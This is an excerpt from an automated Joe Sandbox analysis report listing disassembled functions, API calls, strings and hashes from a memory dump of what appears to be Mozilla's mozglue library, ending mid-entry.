GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C7FC437
FreeLibrary.KERNEL32(?,6C7FC0E9), ref: 6C7FC44C

Strings

ntdll.dll, xrefs: 6C7FC413
NtQueryVirtualMemory, xrefs: 6C7FC431

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: b44b859badef2bc4f2ea521ae4f9066b4cbaa72bb51c98691f95e49dc0d94374
Instruction ID: d4354656f9983eb27fa308cee05153a9cf50fcb768d2f3be87a0aa39a0115edc
Opcode Fuzzy Hash: b44b859badef2bc4f2ea521ae4f9066b4cbaa72bb51c98691f95e49dc0d94374
Instruction Fuzzy Hash: A9E092B46053139BDB30AB759A0A7217FF8A75620DF004A36AA18D2F10EBB0D012CA90

Function 6C7A9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C7AA824
9, xrefs: 6C7AA5D6
0, xrefs: 6C7AAB22
@, xrefs: 6C7AA625
' , xrefs: 6C7AA3D8
0, xrefs: 6C7AA100

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 01a65d1faf0c42f95f000e16c0d07e8a6d955dad97419532017c8faf003906a8
Instruction ID: 443d93fcbf0ceb3ab5e93a3b944233266d8d25a5dfa7474781415b3946a9dcde
Opcode Fuzzy Hash: 01a65d1faf0c42f95f000e16c0d07e8a6d955dad97419532017c8faf003906a8
Instruction Fuzzy Hash: 9282EF319093118FD7158F99C28026EB7F1EB85768F558B3EE8E547A90E3359887CF82

Function 6C79BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C79C1CB
__aulldiv.LIBCMT ref: 6C79C24C
__aulldiv.LIBCMT ref: 6C79C348
__aullrem.LIBCMT ref: 6C79C365
__aulldiv.LIBCMT ref: 6C79C37D

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 23a916247e2e498d0cb8f277d5b9749b6bb7d60991ba496a28dc371c50afba9f
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: EC322632B046128FCB18DE2CC991656BBE6AFC9350F09867DE899CB395D730ED05CB91

Function 6C7E77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7E7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7E7A93

Part of subcall function 6C7B5C50: GetTickCount64.KERNEL32 ref: 6C7B5D40
Part of subcall function 6C7B5C50: EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7B5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C7E7AA1

Part of subcall function 6C7B5C50: __aulldiv.LIBCMT ref: 6C7B5DB4
Part of subcall function 6C7B5C50: LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C7B5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C7E7B31

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3bdde8b19eeaf440b82ae62774cb6e0448b80dccb53184ed882b137c61afbdb3
Instruction ID: 61773013f18072be56cfd2971def42b0180517a054ad639f5c71c368ee0198f0
Opcode Fuzzy Hash: 3bdde8b19eeaf440b82ae62774cb6e0448b80dccb53184ed882b137c61afbdb3
Instruction Fuzzy Hash: 42B1B1367083818BCB14CF25C65465FB7E2BFC9318F154A2CE99567791DB70E90ACB82

Function 6C7B8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C7B97EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7B9813, 6C7B985D, 6C7B9878, 6C7B9CEB

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 7d80bae628863d7b986e3243db14369d38464f627601439419959e38a7506f35
Instruction ID: 6d61776b3b461944478d3736c1ac6dd6e5d6eba3e9d283d59b8391401d1acc35
Opcode Fuzzy Hash: 7d80bae628863d7b986e3243db14369d38464f627601439419959e38a7506f35
Instruction Fuzzy Hash: C4D27D71A056028FC718CF29C690715BBF1BFA5324B29C76DE87A9B7A5D731E841CB80

Function 6C7D6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C7D6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7D6E1E

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 894c9496de15e3d08cb4a9f70e8c4fc60caf0ac68f36a871d8f7f37e8d7e5eda
Instruction ID: 4017f62310ed9bb6f8a659efd03db64955697b466ad7a54f9491ae69126fe63e
Opcode Fuzzy Hash: 894c9496de15e3d08cb4a9f70e8c4fc60caf0ac68f36a871d8f7f37e8d7e5eda
Instruction Fuzzy Hash: 24A190716187818FD714CF24C598BAEFBE2BF89308F45492DE48A87751DB70B948CB92

Function 6C7FB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C7FB720
RtlNtStatusToDosError.NTDLL ref: 6C7FB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C7CFE3F,00000000,00000000,?,?,00000000,?,6C7CFE3F), ref: 6C7FB760

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: c94d675427e75cb4c4f7a571fb8196fa783d2aaee6ac6c8920fb2de6623bd534
Instruction ID: 43dd17ba5c626eda0cbed05f654b1f18b5cfb5239e1443bba10f2f8401419272
Opcode Fuzzy Hash: c94d675427e75cb4c4f7a571fb8196fa783d2aaee6ac6c8920fb2de6623bd534
Instruction Fuzzy Hash: 70F0AFB0A0420DEEEF119AB5CEC5BEE77BCDB08319F10513AE521616C1D774A588C672

Function 6C7B4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C7B4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7B5585, 6C7B55A8, 6C7B55C3, 6C7B5624

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 49f85e2c6b8abc41bf49636ab41f2ec37b58ad80a03f277134d8401083b6e422
Instruction ID: e6816e8ebb826c0a5c18cc6b66b65304d18b34e90da2c5d1c27591238e63ac3c
Opcode Fuzzy Hash: 49f85e2c6b8abc41bf49636ab41f2ec37b58ad80a03f277134d8401083b6e422
Instruction Fuzzy Hash: 3DB25D71A05A018FD708CF29C690715BBE2BFC5328F29C76DE46A9B7A5D771E841CB80

Function 6C7F85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C7F8C7C
__aulldiv.LIBCMT ref: 6C7F8DD7

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: a46ad52d4a5d6a0d0e0ae5342df1f41ae8f57df50951efa4c3b2960f838568da
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 1F328C31F001198BDF18CF9DC9A17AEB7B2FB89300F15813AD516BB792DA349D468B91

Function 6C8076E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qyl, xrefs: 6C807796, 6C807E0B, 6C8079FB, 6C80793C, 6C807B0B, 6C8079C0

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID:
String ID: ~qyl
API String ID: 0-1164895512
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c20016dfff3bf9882c133c8ee53e4fbb8afe97a9f4e6c9a197c661dbedbd63e0
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: BD32F971E006198FDB24CF98C990AADFBF2FF88308F548569C949A7745D731A986CF90

Function 6C806E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qyl, xrefs: 6C807C03, 6C807E0B, 6C807C72, 6C8079FB, 6C80793C, 6C807B0B, 6C8079C0

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID:
String ID: ~qyl
API String ID: 0-1164895512
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 1abce995cb4010f87af21c4b17afa8e712cfdda55828f6a07f1b4435c5f47b71
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 2822F871E006198FDB24CF98C980AADF7F2FF88304F6585A9C949A7745D731A986CF90

Function 6C7D5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C7A4A63,?,?), ref: 6C7D5F06

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: e17fc575fe1f2de01ee0c2cfdaee6d0ae3cb68586371df05deb26655acf4aa2c
Instruction ID: c792d93128c2300a9d68695110625aa2b847c709dd74b2708d380a969447a85f
Opcode Fuzzy Hash: e17fc575fe1f2de01ee0c2cfdaee6d0ae3cb68586371df05deb26655acf4aa2c
Instruction Fuzzy Hash: 1FC1C1B5D012098BCB04CF59E2906EEBBB2FF89318F29416DD8556BB45D731B805CB90

Function 6C79DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c78a53cfb718c543c471e8824baa522797fc6cd42e18b703582e171f7104e101
Instruction ID: 9fa3c2f9c355745ec4385473a51fc9c931a350ea66e328123f9ce28dedf0415f
Opcode Fuzzy Hash: c78a53cfb718c543c471e8824baa522797fc6cd42e18b703582e171f7104e101
Instruction Fuzzy Hash: 3842E232A087548BD318CE3CC59135AB3E2BFC9364F198B3DE999A7791D734D9418B82

Function 6C7C0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d29c12e8417b87f005fae485af437982a69616b50ded3de740a05cdd2dc7366a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: EC222875E0461ACFCB14CF98C990AADF7B2FF88304F5482A9D54AA7705D730A986CF81

Function 6C80AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dc336abed41c203caa2e5819b7e03754b1affec99fce7fafca97a86ef6acdf0
Instruction ID: 3764128aa9ff0c51bfe73bb1af79ec6f438c5b15e8cdcc46971724ea80651d43
Opcode Fuzzy Hash: 5dc336abed41c203caa2e5819b7e03754b1affec99fce7fafca97a86ef6acdf0
Instruction Fuzzy Hash: D4F10271B087458FD720CE28CD917AAB7E2AFC5319F158E2DE8D487781E3749889C792

Function 6C79C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 9bc2d1421ea6b250621211f1e0efc026fabb2bd73093e1fa358c1336b66f9522
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 41A1BB71F0021A8BDF08CE69D9917AEB7F2AFC8355F188269D915E7781DB349C068BD0

Function 6C7D7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 9a1777d0c63042658707eddffe5759dc208c49296bd052d1f27709fd768adac0
Instruction ID: e15060d20721b4a5083efa12e5d2640774c3457c4aabebebe16009457cc97034
Opcode Fuzzy Hash: 9a1777d0c63042658707eddffe5759dc208c49296bd052d1f27709fd768adac0
Instruction Fuzzy Hash: 8E717C71E012198FCF18CFA9C9905EDBBB2FF89314F25812ED816AB744D731A945CB90

Function 6C7DCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C7A582D), ref: 6C7DCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C7A582D), ref: 6C7DCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C80FE98,?,?,?,?,?,6C7A582D), ref: 6C7DCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C7A582D), ref: 6C7DCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C7A582D), ref: 6C7DCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C7A582D), ref: 6C7DCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7A582D), ref: 6C7DCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C7DCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C7DCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C7DCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C7DCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C7DCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C7DCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C7DCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C7DCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C7DCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C7DCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C7DCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C7DCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C7DCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C7DCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C7DCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C7DCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C7DCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C7DCE8A

Strings

noiostacks, xrefs: 6C7DCCBE
fileio, xrefs: 6C7DCC92
power, xrefs: 6C7DCE84
nativeallocations, xrefs: 6C7DCDA8
leaf, xrefs: 6C7DCC66
samplingallthreads, xrefs: 6C7DCE2C
processcpu, xrefs: 6C7DCE6E
nostacksampling, xrefs: 6C7DCD7C
cpuallthreads, xrefs: 6C7DCE16
stackwalk, xrefs: 6C7DCCF8
unregisteredthreads, xrefs: 6C7DCE58
audiocallbacktracing, xrefs: 6C7DCDD4
markersallthreads, xrefs: 6C7DCE42
ipcmessages, xrefs: 6C7DCDBE
preferencereads, xrefs: 6C7DCD92
Unrecognized feature "%s"., xrefs: 6C7DCEA0
notimerresolutionchange, xrefs: 6C7DCE00
seqstyle, xrefs: 6C7DCCE6
java, xrefs: 6C7DCC37
default, xrefs: 6C7DCC21
mainthreadio, xrefs: 6C7DCC7C
screenshots, xrefs: 6C7DCCD4
fileioall, xrefs: 6C7DCCA8
jsallocations, xrefs: 6C7DCD0E

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: a111e0e07c0429f79f818eeef09983e519862fd681fdc8e9a1702d379d4f4243
Instruction ID: 0133e1be6d6dc11e13c6ebd91fdab3668d04d318205f779c58ebfd4bde5fd809
Opcode Fuzzy Hash: a111e0e07c0429f79f818eeef09983e519862fd681fdc8e9a1702d379d4f4243
Instruction Fuzzy Hash: 6651CAD1B1522521FA1038196F13BAA5649EF5324BF22483EFD09A2FC1FF14B20986B7

Function 6C7A47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

